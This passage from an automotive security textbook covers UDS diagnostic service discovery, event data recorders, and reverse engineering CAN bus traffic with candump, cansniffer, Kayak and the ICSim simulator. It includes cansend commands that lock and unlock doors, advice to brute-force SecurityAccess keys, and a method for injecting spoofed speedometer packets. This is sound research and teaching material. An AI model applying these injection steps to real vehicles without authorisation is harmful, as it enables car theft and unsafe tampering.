Supported service 0x1a: Unknown service 
Supported service 0x00: Unknown service 
Supported service 0x23: READ_MEMORY_BY_ADDRESS 
Supported service 0x27: SECURITY_ACCESS 
Supported service 0x00: Unknown service 
Supported service 0x34: REQUEST_DOWNLOAD 
Supported service 0x3b: Unknown service 
Supported service 0x00: Unknown service 
Supported service 0x00: Unknown service 
Supported service 0x00: Unknown service 
Supported service 0xa5: Unknown service 



60   Chapter 4

Supported service 0xa9: Unknown service 
Supported service 0xaa: Unknown service 
Supported service 0xae: Unknown service 

Notice that the output lists several duplicate services for service 0x00. 
This is often caused by an error response for something that’s not a UDS 
service. For instance, the requests below 0x0A are legacy modes that don’t 
respond to the official UDS protocol. 

N O T E 	 As of this writing, CaringCaribou is in its early stages of development, and your 
results may vary. The current version available doesn’t account for older modes and 
parses the response incorrectly, which is why you see several services with ID 0x00. 
For now, just ignore those services; they’re false positives. CaringCaribou’s discovery 
option stops at the first arbitration ID that responds to a diagnostic session con-
trol (DSC) request. Restart the scan from where it left off using the -min option, as 
follows:

$ ./cc.py dcm discovery -min 0x245 

In our example, the scan will also stop scanning a bit later at this more 
common diagnostic ID:

Found diagnostics at arbitration ID 0x07df, reply at 0x07e8 

Keeping a Vehicle in a Diagnostic State
When doing certain types of diagnostic operations, it’s important to keep 
the vehicle in a diagnostic state because it’ll be less likely to be interrupted, 
thereby allowing you to perform actions that can take several minutes. 
In order to keep the vehicle in this state, you need to continuously send a 
packet to let the vehicle know that a diagnostic technician is present.

These simple scripts will keep the car in a diagnostic state that’ll prove 
useful for flashing ROMs or brute-forcing. The tester present packet keeps 
the car in a diagnostic state. It works as a heartbeat, so you’ll need to trans-
mit it every one to two seconds, as shown here:

#!/bin/sh
while :
do
    cansend can0 7df#013e
    sleep 1
done

You can do the same things with cangen:

$ cangen -g 1000 -I 7DF -D 013E -L 2 can0
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N O T E 	 As of this writing, cangen doesn’t always work on serial-line CAN devices. One pos-
sible workaround is to tell slcand to use canX style names instead of slcanX.

Use the ReadDataByID command to read data by ID and to query devices 
for information. 0x01 is the standard query. The enhanced version, 0x22, 
can return information not available with standard OBD tools.

Use the SecurityAccess command (0x27) to access protected informa-
tion. This can be a rolling key, meaning that the password or key changes 
each time, but the important thing is that the controller responds if success-
ful. For example, if you send the key 0x1, and it’s the correct access code, 
then you should receive an 0x2 in return. Some actions, such as flashing 
ROMs, will require you to send a SecurityAccess request. If you don’t have 
the algorithm to generate the necessary challenge response, then you’ll 
need to brute-force the key.

Event Data Recorder Logging
You likely know that airplanes have black boxes that record information 
about flights as well as conversations in the cockpit and over radio transmis-
sions. All 2015 and newer vehicles are also required to have a type of black 
box, known as an event data recorder (EDR), but EDRs record only a portion 
of the information that a black box on an airplane would. The information 
stored on the EDR includes the following (you’ll find a more complete list 
in SAE J1698-2):

•	 Airbag deployment

•	 Brake status

•	 Delta-v (longitudinal change in velocity)

•	 Ignition cycles

•	 Seat belt status

•	 Steering angles

•	 Throttle position

•	 Vehicle speed

While this data is very similar to freeze frame data, its purpose is to 
collect and store information during a crash. The EDR constantly stores 
information, typically only about 20 seconds worth at any one time. This 
information was originally stored in a vehicle’s airbag control module 
(ACM), but today’s vehicles distribute this data among the vehicle’s ECUs. 
These boxes collect data from other ECUs and sensors and store them for 
recovery after a crash. Figure 4-1 shows a typical EDR.
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Figure 4-1: A typical event data recorder

Reading Data from the EDR
The official way to read data from an EDR is with a crash data retrieval 
(CDR) tool kit. A basic CDR tool will connect to the OBD connector 
and pull data (or image the vehicle) from the main ECU. CDR tools can 
also access data in other modules, such as the ACM or the rollover sen-
sor (ROS) module, but they’ll normally need to be plugged in directly to 
those devices instead of using the OBD port. (You’ll find a comprehen-
sive list of which vehicles have black box data that can be retrieved here: 
http://www.crashdatagroup.com/research/vehiclecoverage.html.)

CDR kits include both proprietary hardware and software. The hard-
ware usually costs about $2,000, and the cost of the software will vary 
depending on how many vehicle types you want to support. The format 
of vehicle crash data is often considered proprietary as well, and many 
manufacturers license the communication protocol to tool providers that 
make CDRs. Obviously, this is not in the best interest of the consumer. 
The National Highway Traffic Safety Administration (NHTSA) has pro-
posed the adoption of a standard OBD communication method to access 
this data. 

http://www.crashdatagroup.com/research/vehiclecoverage.html
http://www.crashdatagroup.com/research/vehiclecoverage.html
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The SAE J1698 Standard
The SAE J1698 standard lists recommended practices for event data collec-
tion and defines event records by sample rate: high, low, and static. High 
samples are data recorded at the crash event, low samples are pre-crash 
data, and static samples are data that doesn’t change. Many vehicles are 
influenced by the SAE J1698 but don’t necessarily conform to its rules for 
all data retrieved from a vehicle. 

Some recorded elements are:

•	 Cruise control status

•	 Driver controls: parking brake, headlight, front wiper, gear selection, 
passenger airbag disabled switch

•	 Foremost seat track position 

•	 Hours in operation

•	 Indicator status lights: VEDI, SRS, PAD, TPMS, ENG, DOOR, IOD

•	 Latitude and longitude

•	 Seating position

•	 SRS deployment status/time

•	 Temperature air/cabin

•	 Vehicle mileage

•	 VIN

While the SAE J1698 states latitude and longitude recordings, many 
manufacturers claim not to record this information for privacy reasons. 
Your research may vary. 

Other Data Retrieval Practices
Not all manufacturers conform the to SAE J1698 standard. For example, 
since the 1990s, General Motors has collected a small amount of EDR data 
in the sensing and diagnostic module (SDM) of its vehicles. The SDM stores 
the vehicle’s Delta-v, which is the longitudinal change in the vehicle’s veloc-
ity. The SDM does not record any post-crash information. 

Another example is Ford’s EDR, known as the restraint control module 
(RCM). Ford stores a vehicle’s longitudinal and lateral acceleration data 
rather than Delta-v. If the vehicle has electronic throttle control, the PCM 
stores additional EDR data, including whether the passenger was an adult 
or not, the percent the accelerator/brake pedal was depressed, and whether 
a diagnostic code was active when the crash occurred.
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Automated Crash Notification Systems
Automated crash notification (ACN) systems are the phone-home systems that 
contact a vehicle’s manufacturer or a third party with event information. 
These coincide with other crash recovery systems and extend the function-
ality by contacting the manufacturer or third party. One major difference 
is that there aren’t rules or standards that determine what data is collected 
and sent to an ACN. ACNs are specific to each manufacturer, and each sys-
tem will send different information. For example, the Veridian automated 
collision notification system (released in 2001) reports this information:

•	 Crash type (frontal, side, rear)

•	 Date and time

•	 Delta-v

•	 Longitude and latitude

•	 Make, model, and year of vehicle

•	 Principal direction of force

•	 Probable number of occupants

•	 Rollover (yes or no)

•	 Seat belt use

•	 Vehicle’s final resting position (normal, left side, right side, roof)

Malicious Intent
Attackers may target a vehicle’s DTCs and freeze frame data to hide malicious 
activity. For example, if an exploit needs to take advantage of only a brief, 
temporary condition in order to succeed, a vehicle’s freeze frame data will 
most likely miss the event due to delays in recording. Captured freeze frame 
snapshots rarely contain information that would help determine whether the 
DTC was triggered by malicious intent. (Because black box EDR systems typi-
cally trigger only during a crash, it’s unlikely that an attacker would target 
them because they’re not likely to contain useful data.)

An attacker fuzzing a vehicle’s system might check for fired DTCs 
and use the information contained in a DTC to determine which compo-
nent was affected. This type of attack would most likely occur during the 
research phase of an attack (when an attacker is trying to determine what 
components the randomly generated packets were affecting), not during an 
active exploit.

Accessing and fuzzing manufacturer-specific PIDs—by flashing firm-
ware or using mode 0x08—can lead to interesting results. Because each 
manufacturer interface is kept secret, it’s difficult to assess the actual risk 
of the network. Unfortunately, security professionals will need to reverse 
or fuzz these proprietary interfaces to determine what is exposed before 
work can be done to determine whether there are vulnerabilities. Malicious 
actors will need to do the same thing, although they won’t be motivated 
to share their findings. If they can keep undocumented entry points 
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and weaknesses a secret, then their exploit will last longer without being 
detected. Having secret interfaces into the vehicle doesn’t increase security; 
the vulnerabilities are there regardless of whether people are allowed to dis-
cuss them. Because there’s money in selling these codes (sometimes upward 
of $50,000), the industry has little incentive to embrace the community.

Summary
In this chapter, you have gone beyond traditional CAN packets to under-
stand more complex protocols such as ISO-TP. You have learned how 
CAN packets can be linked together to write larger messages or to create 
two-directional communications over CAN. You also learned how to read 
and clear any DTCs. You looked at how to find undocumented diagnostic 
services and saw what types of data are recorded about you and your driv-
ing habits. You also explored some ways in which diagnostic services can be 
used by malicious parties.





5
R everse       E ng  i neer    i ng   

the    C A N  B u s 

In order to reverse engineer the CAN bus, 
we first have to be able to read the CAN 

packets and identify which packets control 
what. That said, we don’t need to be able to 

access the official diagnostic CAN packets because 
they’re primarily a read-only window. Instead, we’re 
interested in accessing all the other packets that flood the CAN bus. The 
rest of the nondiagnostic packets are the ones that the car actually uses to 
perform actions. It can take a long time to grasp the information contained 
in these packets, but that knowledge can be critical to understanding the 
car’s behavior.

Locating the CAN Bus
Of course, before we can reverse the CAN bus, we need to locate the CAN. 
If you have access to the OBD-II connector, your vehicle’s connector pin-
out map should show you where the CAN is. (See Chapter 2 for common 
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locations of the OBD connectors and their pinouts.) If you don’t have access 
to the OBD-II connector or you’re looking for hidden CAN signals, try one 
of these methods:

•	 Look for paired and twisted wires. CAN wires are typically two wires 
twisted together.

•	 Use a multimeter to check for a 2.5V baseline voltage. (This can be dif-
ficult to identify because the bus is often noisy.) 

•	 Use a multimeter to check for ohm resistance. The CAN bus uses a 120-
ohm terminator on each end of the bus, so there should be 60 ohms 
between the two twisted-pair wires you suspect are CAN.

•	 Use a two-channel oscilloscope and subtract the difference between the 
two suspected CAN wires. You should get a constant signal because the 
differential signals should cancel each other out. (Differential signaling 
is discussed in “The CAN Bus” on page 16.)

N O T E 	 If the car is turned off, the CAN bus is usually silent, but something as simple as 
inserting the car key or pulling up on the door handle will usually wake the vehicle 
and generate signals. 

Once you’ve identified a CAN network, the next step is to start monitor-
ing the traffic.

Reversing CAN Bus Communications with  
can-utils and Wireshark 

First, you need to determine the type of communication running on the 
bus. You’ll often want to identify a certain signal or the way a certain com-
ponent talks—for example, how the car unlocks or how the drivetrain 
works. In order to do so, locate the bus those target components use, and 
then reverse engineer the packets traveling on that bus to identify their 
purpose.

To monitor the activity on your CAN, you need a device that can moni-
tor and generate CAN packets, such as the ones discussed in Appendix A. 
There are a ton of these devices on the market. The cheap OBD-II devices 
that sell for under $20 technically work, but their sniffers are slow and will 
miss a lot of packets. It’s always best to have a device that’s as open as pos-
sible because it’ll work with the majority of software tools—open source 
hardware and software is ideal. However, a proprietary device specifically 
designed to sniff CAN should still work. We’ll look at using candump, from 
the can-utils suite, and Wireshark to capture and filter the packets.

Generic packet analysis won’t work for CAN because CAN packets are 
unique to each vehicle’s make and model. Also, because there’s so much 
noise on CAN, it’s too cumbersome to sort through every packet as it flows 
by in sequence. 
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Using Wireshark
Wireshark (https://www.wireshark.org/) is a common network monitoring 
tool. If your background is in networking, your first instinct may be to use 
Wireshark to look at CAN packets. This technically works, but we will soon 
see why Wireshark is not the best tool for the job.

If you want to use Wireshark to capture CAN packets, you can do so 
together with SocketCAN. Wireshark can listen on both canX and vcanX 
devices, but not on slcanX because serial-link devices are not true netlink 
devices and they need a translation daemon in order for them to work. If 
you need to use a slcanX device with Wireshark, try changing the name 
from slcanX to canX. (I discuss CAN interfaces in detail Chapter 2.)  

If renaming the interface doesn’t work or you simply need to move 
CAN packets from an interface that Wireshark can’t read to one it can, you 
can bridge the two interfaces. You’ll need to use candump from the can-utils 
package in bridge mode to send packets from slcan0 to vcan0.

$ candump -b vcan0 slcan0

Notice in Figure 5-1 that the data section isn’t decoded and is just show-
ing raw hex bytes. This is because Wireshark’s decoder handles only the basic 
CAN header and doesn’t know how to deal with ISO-TP or UDS packets. The 
highlighted packet is a UDS request for VIN. (I’ve sorted the packets in the 
screen by identifier, rather than by time, to make it easier to read.)

Figure 5-1: Wireshark on the CAN bus

https://www.wireshark.org/
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Using candump
As with Wireshark, candump doesn’t decode the data for you; that job is left 
up to you, as the reverse engineer. Listing 5-1 uses slcan0 as the sniffer 
device.

$ candump slcan0
  slcan0  388  [2]  01 10 
  slcan0   110   [8]   00 00 00 00 00 00 00 00 
  slcan0   120   [8]   F2 89 63 20 03 20 03 20 
  slcan0   320   [8]   20 04 00 00 00 00 00 00 
  slcan0   128   [3]   A1 00 02 
  slcan0   7DF   [3]   02 09 02 
  slcan0   7E8   [8]   10 14 49 02 01 31 47 31 
  slcan0   110   [8]   00 00 00 00 00 00 00 00 
  slcan0   120   [8]   F2 89 63 20 03 20 03 20 
  slcan0   410   [8]   20 00 00 00 00 00 00 00 
  slcan0   128   [3]   A2 00 01 
  slcan0   380   [8]   02 02 00 00 E0 00 7E 0E 
  slcan0   388   [2]   01 10 
  slcan0   128   [3]   A3 00 00 
  slcan0   110   [8]   00 00 00 00 00 00 00 00 
  slcan0   120   [8]   F2 89 63 20 03 20 03 20 
  slcan0   520   [8]   00 00 04 00 00 00 00 00 
  slcan0   128   [3]   A0 00 03 
  slcan0   380   [8]   02 02 00 00 E0 00 7F 0D 
  slcan0   388   [2]   01 10 
  slcan0   110   [8]   00 00 00 00 00 00 00 00 
  slcan0   120   [8]   F2 89 63 20 03 20 03 20 
  slcan0   128   [3]   A1 00 02 
  slcan0   110   [8]   00 00 00 00 00 00 00 00 
  slcan0   120   [8]   F2 89 63 20 03 20 03 20 
  slcan0   128   [3]   A2 00 01 
  slcan0   380   [8]   02 02 00 00 E0 00 7C 00 

Listing 5-1: candump of traffic streaming through a CAN bus

The columns are broken down to show the sniffer device , the arbi-
tration ID , the size of the CAN packet , and the CAN data itself . Now 
you have some captured packets, but they aren’t the easiest to read. We’ll use 
filters to help identify the packets we want to analyze in more detail. 

Grouping Streamed Data from the CAN Bus
Devices on a CAN network are noisy, often pulsing at set intervals or when 
triggered by an event, such as a door unlocking. This noise can make it futile 
to stream data from a CAN network without a filter. Good CAN sniffer soft-
ware will group changes to packets in a data stream based on their arbitra-
tion ID, highlighting only the portions of data that have changed since the 
last time the packet was seen. Grouping packets in this way makes it easier to 
spot changes that result directly from vehicle manipulation, allowing you to 
actively monitor the tool’s sniffing section and watch for color changes that 
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correlate to physical changes. For example, if each time you unlock a door 
you see the same byte change in the data stream, you know that you’ve prob-
ably identified at least the byte that controls the door-unlocking functions.

Grouping Packets with cansniffer

The cansniffer command line tool groups the packets by arbitration ID and 
highlights the bytes that have changed since the last time the sniffer looked 
at that ID. For example, Figure 5-2 shows the result of running cansniffer 
on the device slcan0. 

Figure 5-2: cansniffer example output

You can add the -c flag to colorize any changing bytes.

$ cansniffer -c slcan0

The cansniffer tool can also remove repeating CAN traffic that isn’t 
changing, thereby reducing the number of packets you need to watch.

Filtering the Packets Display

One advantage of cansniffer is that you can send it keyboard input to filter 
results as they’re displayed in the terminal. (Note that you won’t see the 
commands you enter while cansniffer is outputting results.) For example, to 
see only IDs 301 and 308 as cansniffer collects packets, enter this:

-000000
+301
+308

Entering -000000 turns off all packets, and entering  +301 and +308 filters 
out all except IDs 301 and 308. 

The -000000 command uses a bitmask, which does a bit-level compari-
son against the arbitration ID. Any binary value of 1 used in a mask is a bit 
that has to be true, while a binary value of 0 is a wildcard that can match 
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anything. A bitmask of all 0s tells cansniffer to match any arbitration ID. 
The minus sign (-) in front of the bitmask removes all matching bits, which 
is every packet.

You can also use a filter and a bitmask with cansniffer to grab a range of 
IDs. For example, the following command adds the IDs from 500 through 
5FF to the display, where 500 is the ID applied to the bitmask of 700 to 
define the range we’re interested in. 

+500700

To display all IDs of 5XX, you’d use the following binary representation: 

ID  Binary Representation
500  101 0000 0000
700  111 0000 0000
------------------
     101 XXXX XXXX
      5    X    X

You could specify F00 instead of 700, but because the arbitration ID is 
made up of only 3 bits, a 7 is all that’s required.

Using 7FF as a mask is the same as not specifying a bitmask for an ID. 
For example

+3017FF

is the same as

+301

This mask uses binary math and performs an AND operation on the two 
numbers, 0x301 and 0x7FF:

ID    Binary Representation
301   011  0000  0001
7FF   111  1111  1111
      011  0000  0001
      3    0     1

For those not familiar with AND operations, each binary bit is compared, 
and if both are a 1 then the output is a 1. For instance, 1 AND 1 = 1, while 1 
AND 0 = 0. 

If you prefer to have a GUI interface, Kayak, which we discussed in 
“Kayak” on page 46, is a CAN bus–monitoring application that also 
uses socketcand and will colorize its display of capture packets. Kayak 
won’t remove repeating packets the way cansniffer does, but it offers a few 
unique capabilities that you can’t easily get on the command line, such 



Reverse Engineering the CAN Bus     73

as documenting the identified packets in XML (.kcd files), which can be 
used by Kayak to display virtual instrument clusters and map data (see 
Figure 5-3).

Figure 5-3: Kayak GUI interface

Using Record and Playback
Once you’ve used cansniffer or a similar tool to identify certain packets to 
focus on, the next step is to record and play back packets so you can analyze 
them. We’ll look at two different tools to do this: can-utils and Kayak. They 
have similar functionality, and your choice of tool will depend on what you’re 
working on and your interface preferences.

The can-utils suite records CAN packets using a simple ASCII format, 
which you can view with a simple text editor, and most of its tools support 
this format for both recording and playback. For example, you can record 
with candump, redirect standard output or use the command line options to 
record to a file, and then use canplayer to play back recordings. 

Figure 5-4 shows a view of the layout of Kayak’s equivalent to cansniffer. 
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Figure 5-4: Kayak recording to a logfile

To record CAN packets with Kayak, first click the Play button in the 
Log files tab u. Then drag one or more buses from the Projects pane to the 
Busses field of the LogOutput Window tab v. Press the Record and Stop 
buttons at the bottom of the LogOutput window w to start or stop record-
ing. Once your packet capture is complete, the logging should show in the 
Log Directory drop-down menu (see Figure 5-5). 

If you open a Kayak logfile, you’ll see something like the code snip-
pet in Listing 5-2. The values in this example won’t directly correlate to 
those in Figure 5-4 because the GUI groups by ID, as in cansniffer, but the 
log is sequential, as in candump.

PLATFORM NO_PLATFORM 
DESCRIPTION "No description" 
DEVICE_ALIAS OBD Port slcan0 
(1094.141850) slcan0 128#a20001 
(1094.141863)   slcan0   380#02020000e0007e0e 
(1094.141865)   slcan0   388#0110 
(1094.144851)   slcan0   110#0000000000000000 
(1094.144857)   slcan0   120#f289632003200320 

Listing 5-2: Contents of Kayak’s logfile
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Figure 5-5: Right pane of Log files tab  
settings

Other than some metadata (PLATFORM, DESCRIPTION, and DEVICE_ALIAS), 
the log is pretty much the same as the one captured by the can-utils pack-
age:  is the timestamp,  is your bus, and  is your arbitration ID and 
data separated by a # symbol. To play back the capture, right-click the Log 
Description in the right panel, and open the recording (see Figure 5-5).

Listing 5-3 shows the logfile created by candump using the -l command 
line option:

(1442245115.027238) slcan0 166#D0320018 
(1442245115.028348) slcan0 158#0000000000000019 
(1442245115.028370) slcan0 161#000005500108001C 
(1442245115.028377) slcan0 191#010010A141000B 

Listing 5-3: candump logfile 

Notice in Listing 5-3 that the candump logfiles are almost identical to those 
displayed by Kayak in Figure 5-4. (For more details on different can-utils pro-
grams, see “The CAN Utilities Suite” on page 41.)
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Creative Packet Analysis 
Now that we’ve captured packets, it’s time to determine what each packet 
does so we can use it to unlock things or exploit the CAN bus. Let’s start 
with a simple action that’ll most likely toggle only a single bit—the code to 
unlock the doors—and see whether we can find the packet that controls 
that behavior. 

Using Kayak to Find the Door-Unlock Control

There’s a ton of noise on the CAN bus, so finding a single-bit change can be 
very difficult, even with a good sniffer. But here’s a universal way to identify 
the function of a single CAN packet:

1.	 Press Record.

2.	 Perform the physical action, such as unlocking a door.

3.	 Stop Record.

4.	 Press Playback.

5.	 See whether the action was repeated. For example, did the door 
unlock?

If pressing Playback didn’t unlock the door, a couple of things may 
have gone wrong. First, you may have missed the action in the recording, 
so try recording and performing the action again. If you still can’t seem 
to record and replay the action, the message is probably hardwired to the 
physical lock button, as is often the case with the driver’s-side door lock. Try 
unlocking the passenger door instead while recording. If that still doesn’t 
work, the message for the unlock action is either on a CAN bus other than 
the one you’re monitoring—you’ll need to find the correct one—or the 
playback may have caused a collision, resulting in the packet being stomped 
on. Try to replay the recording a few times to make sure the playback is 
working.

Once you have a recording that performs the desired action, use the 
method shown in Figure 5-6 to filter out the noise and locate the exact 
packet and bits that are used to unlock the door via the CAN bus.

Now, keep halving the size of the packet capture until you’re down 
to only one packet, at which point you should be able figure out which 
bit or bits are used to unlock the door. The quickest way to do this is to 
open your sniffer and filter on the arbitration ID you singled out. Unlock 
the door, and the bit or byte that changed should highlight. Now, try to 
unlock the car’s back doors, and see how the bytes change. You should 
be able to tell exactly which bit must be changed in order to unlock 
each door.
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Figure 5-6: Sample unlock reversing flow

Using can-utils to Find the Door-Unlock Control

To identify packets via can-utils, you’d use candump to record and canplayer 
to play back the logfile, as noted earlier. Then, you’d use a text editor to 
whittle down the file before playback. Once you’re down to one packet, you 
can then determine which byte or bits control the targeted operation with 
the help of cansend. For instance, by removing different halves of a logfile, 
you can identify the one ID that triggers the door to unlock:

slcan0  300   [8]  00 00 84 00 00 0F 00 00
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Now, you could edit each byte and play back the line, or you could use 
cansniffer with a filter of +300 to single out just the 300 arbitration ID and 
monitor which byte changes when you unlock the door. For example, if the 
byte that controls the door unlock is the sixth byte—0x0F in the preceding 
example—we know that when the sixth byte is 0x00, the doors unlock, and 
when it’s 0x0F, the doors lock. 

N O T E 	 This is a hypothetical example that assumes we’ve performed all the steps listed earlier 
in this chapter to identify this particular byte. The specifics will vary for each vehicle.

We can verify our findings with cansend:

$ cansend slcan0 300#00008400000F0000

If, after sending this, all the doors lock, we’ve successfully identified 
which packets control the door unlock. 

Now, what happens when you change the 0x0F? To find out, unlock the 
car and this time send a 0x01:

$ cansend slcan0 300#0000840000010000

Observe that only the driver’s-side door locks and the rest stay open. 
If you repeat this process with a 0x02, only the front passenger’s-side door 
locks. When you repeat again with a 0x03, both the driver’s-side door and 
the front passenger’s-side door lock. But why did 0x03 control two doors 
and not a different third door? The answer may make more sense when you 
look at the binary representation:

0x00 = 00000000
0x01 = 00000001
0x02 = 00000010
0x03 = 00000011

The first bit represents the driver’s-side door, and the second represents 
the front passenger’s-side door. When the bit is a 1, the door locks, and when 
it’s a 0, it unlocks. When you send an 0x0F, you’re setting all bits that could 
affect the door lock to a binary 1, thereby locking all doors:

0x0F =  00001111

What about the remaining four bits? The best way to find out what 
they do is to simply set them to 1 and monitor the vehicle for changes. We 
already know that at least some of the 0x300 signal relates to doors, so it’s 
fairly safe to assume the other four bits will, too. If not, they might control 
different door-like behavior, such as unlatching the trunk. 

N O T E 	 If you don’t get a response when you toggle a bit, it may not be used at all and may 
simply be reserved.
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Getting the Tachometer Reading
Obtaining information on the tachometer (the vehicle’s speed) can be 
achieved in the same way as unlocking the doors. The diagnostic codes 
report the speed of a vehicle, but they can’t be used to set how the speed 
displays (and what fun is that?), so we need to find out what the vehicle is 
using to control the readings on the instrument cluster (IC).

To save space, the RPM values won’t display as a hex equivalent of the 
reading; instead, the value is shifted such that 1000 RPM may look like 
0xFA0. This value is often referred to as “shifted” because in the code, 
the developers use bit shifting to perform the equivalent of multiplying or 
dividing. For the UDS protocol, this value is actually as follows:

( )first byte  second byte× +256
4

To make matters worse, you can’t monitor CAN traffic and query 
the diagnostic RPM to look for changing values at the same time. This 
is because vehicles often compress the RPM value using a proprietary 
method. Although the diagnostic values are set, they aren’t the actual 
packets and values that the vehicle is using, so we need to find the real 
value by reversing the raw CAN packets. (Be sure to put the car in park 
before you do this, and even lift the vehicle off the ground or put it on 
rollers first to avoid it starting suddenly and crushing you.)

Follow the same steps that you used to find the door unlock control:

1.	 Press Record.

2.	 Press the gas pedal.

3.	 Stop Record.

4.	 Press Playback.

5.	 See whether the tachometer gauge has moved.

You’ll probably find that a lot of engine lights flash and go crazy dur-
ing this test because this packet is doing a lot more than just unlocking the 
car door. Ignore all the blinking warning lights, and follow the flowchart 
shown in Figure 5-6 to find the arbitration ID that causes the tachometer 
to change. You’ll have a much higher chance of collisions this time than 
when trying to find the bit to unlock the doors because there’s a lot more 
going on. Consequently, you may have to play and record more traffic than 
before. (Remember the value conversions mentioned earlier, and keep in 
mind that more than one byte in this arbitration ID will probably control 
the reported speed.)

Putting Kayak to Work

To make things a bit easier, we’ll use Kayak’s GUI instead of can-utils to 
find the arbitration IDs that control the tachometer. Again, make sure that 
the car is immobilized in an open area, with the emergency brake on, and 
maybe even up on blocks or rollers. Start recording and give the engine 
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a good rev. Then, stop recording and play back the data. The RPM gauge 
should move; if it doesn’t, you may be on the wrong bus and will need to 
locate the correct bus, as described earlier in this chapter. 

Once you have the reaction you expect from the vehicle, repeat the 
halving process used to find the door unlock, with some additional Kayak 
options.

Kayak’s playback interface lets you set the playback to loop infinitely 
and, more importantly, set the “in” and “out” packets (see Figure 5-7). 
The slider represents the number of packets captured. Use the slider 
to pick which packet you start and stop with during playback. You can 
quickly jump to the middle or other sections of the recording using the 
slider, which makes playing back half of a section very easy.

Figure 5-7: Kayak playback interface

As for testing, you won’t be able to send only a single packet as you did 
when you tried to unlock the car because the vehicle is constantly reporting 
its current speed. To override this noise, you need to talk even faster than 
the normal communication to avoid colliding all the time. For instance, 
if you play your packets right after the real packet plays, then the last seen 
update will be the modified one. Reducing noise on the bus results in fewer 
collisions and cleaner demos. If you can send your fake packet immediately 
after the real packet, you often get better results than you would by simply 
flooding the bus.

To send packets continuously with can-utils, you can use a while loop 
with cansend or cangen. (When using Kayak’s Send Frame dialog to transmit 
packets, make sure to check the Interval box.)
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Creating Background Noise with the  
Instrument Cluster Simulator

The instrument cluster simulator (ICSim) is one of the most useful tools 
to come out of Open Garages, a group that fosters open collaboration 
between mechanics, performance tuners, and security researchers (see 
Appendix A). ICSim is a software utility designed to produce a few key CAN 
signals in order to provide a lot of seemingly “normal” background CAN 
noise—essentially, it’s designed to let you practice CAN bus reversing with-
out having to tinker around with your car. (ICSim is Linux only because it 
relies on the virtual CAN devices.) The methods you’ll learn playing with 
ICSim will directly translate to your target vehicles. ICSim was designed as a 
safe way to familiarize yourself with CAN reversing so that the transition to 
an actual vehicle is as seamless as possible.

Setting Up the ICSim 
Grab the source code for the ICSim from https://github.com/zombieCraig/
ICSim and follow the README file supplied with the download to compile 
the software. Before you run ICSim, you should find a sample script in the 
README called setup_vcan.sh that you can run to set up a vcan0 interface 
for the ICSim to use. 

ICSim comes with two components, icsim and controls, which talk to 
each other over a CAN bus. To use ICSim, first load the instrument cluster 
to the vcan device like this:

$ ./icsim vcan0

In response, you should see the ICSim instrument cluster with turn sig-
nals, a speedometer, and a picture of a car, which will be used to show the 
car doors locking and unlocking (see Figure 5-8). 

Figure 5-8: ICSim instrument cluster

https://github.com/zombieCraig/ICSim
https://github.com/zombieCraig/ICSim
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The icsim application listens only for CAN signals, so when the ICSim 
first loads, you shouldn’t see any activity. In order to control the simulator, 
load the CANBus Control Panel like this:

$ ./controls vcan0

The CANBus Control Panel shown in Figure 5-9 should appear.

Figure 5-9: ICSim control interface

The screen looks like a game controller; in fact, you can plug in a USB 
game controller, and it should be supported by ICSim. (As of this writing, 
you can use sixad tools to connect a PS3 controller over Bluetooth as well.) 
You can use the controller to operate the ICSim in a method similar to driv-
ing a car using a gaming console, or you can control it by pressing the cor-
responding keys on your keyboard (see Figure 5-9). 

N O T E 	 Once the control panel is loaded, you should see the speedometer idle just above 0 mph. 
If the needle is jiggling a bit, you know it’s working. The control application writes only 
to the CAN bus and has no other way to communicate with the icsim. The only way to 
control the virtual car is through the CAN.

The main controls on the CANBus Control Panel are as follows:

Accelerate (up arrow)  Press this to make the speedometer go faster. 
The longer you hold the key down, the faster the virtual vehicle goes. 

Turn (left/right arrows)  Hold down a turn direction to blink the 
turn signals.
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Lock (left shift), Unlock (right shift)  This one requires you to press 
two buttons at once. Hold down the left shift and press a button (A, B, 
X, or Y) to lock a corresponding door. Hold down the right shift and 
press one of the buttons to unlock a door. If you hold down left shift 
and then press right shift, it will unlock all the doors. If you hold down 
right shift and press left shift, you’ll lock all the doors.

Make sure you can fit both the ICSim and the CANBus Control Panel 
on the same screen so that you can see how they influence each other. Then, 
select the control panel so that it’s ready to receive input. Play around with 
the controls to make sure that the ICSim is responding properly. If you don’t 
see a response to your controls, ensure that the ICSim control window is 
selected and active.

Reading CAN Bus Traffic on the ICSim
When you’re sure everything is working, fire up your sniffer of choice and 
take a look at the CAN bus traffic, as shown in Figure 5-10. Try to identify 
which packets control the vehicle, and create scripts to control ICSim with-
out using the control panel.

Most of the changing data you see in Figure 5-10 is caused by a replay 
file of a real CAN bus. You’ll have to sort through the messages to deter-
mine the proper packets. All methods of replay and packet sending will 
work with ICSim, so you can validate your findings.

Figure 5-10: Screen layout for using ICSim
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Changing the Difficulty of ICSim
One of the great things about ICSim is that you can challenge yourself by 
making it harder to find the target CAN traffic. ICSim supports four diffi-
culty levels—0 through 3, with level 1 as the default. Level 0 is a super simple 
CAN packet that does the intended operation without any background 
noise, while level 3 randomizes all the bytes in the packet as well. To have 
the simulator choose different IDs and target byte positions, use ICSim’s 
randomize option:

$ ./icsim -r vcan0
Using CAN interface vcan0 
Seed: 1419525427 

This option prints a randomized seed value to the console screen. 
Pass this value into the CANBus Control Panel along with your choice 

of difficulty level:

$ ./controls -s 1419525427 -l 3 vcan0

You can replay or share a specific seed value as well. If you find one you 
like or if you want to race your friends to see who can decipher the packets 
first, launch ICSim with a set seed value like this:

$ ./icsim -s  1419525427 vcan0

Next, launch the CANBus Control Panel using the same seed value 
to sync up the randomized control panel to the ICSim. If the seed values 
aren’t the same, they won’t be able to communicate. 

It may take you a while to locate the proper packets the first time using 
ICSim, but after a few passes, you should be able to quickly identify which 
packets are your targets.

Try to complete the following challenges in ICSim:

1.	 Create “hazard lights.” Make both turn signals blink at the same time.

2.	 Create a command that locks only the back two doors.

3.	 Set the speedometer as close as possible to 220 mph.

Reversing the CAN Bus with OpenXC
Depending on your vehicle, one solution to reverse engineering the CAN 
bus is OpenXC, an open hardware and software standard that translates 
proprietary CAN protocols into an easy-to-read format. The OpenXC ini-
tiative was spearheaded by the Ford Motor Company—and as I write this, 
OpenXC is supported only by Ford—but it could work with any auto manu-
facturer that supports it. (Visit http://openxcplatform.com/ for information on 
how to acquire a pre-made dongle.) 

http://openxcplatform.com/
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Ideally, open standards for CAN data such as OpenXC will remove the 
need for many applications to reverse engineer CAN traffic. If the rest of 
the automotive industry were to agree on a standard that defines how their 
vehicles work, it would greatly improve a car owner’s ability to tinker and 
build on new innovative tools.

Translating CAN Bus Messages
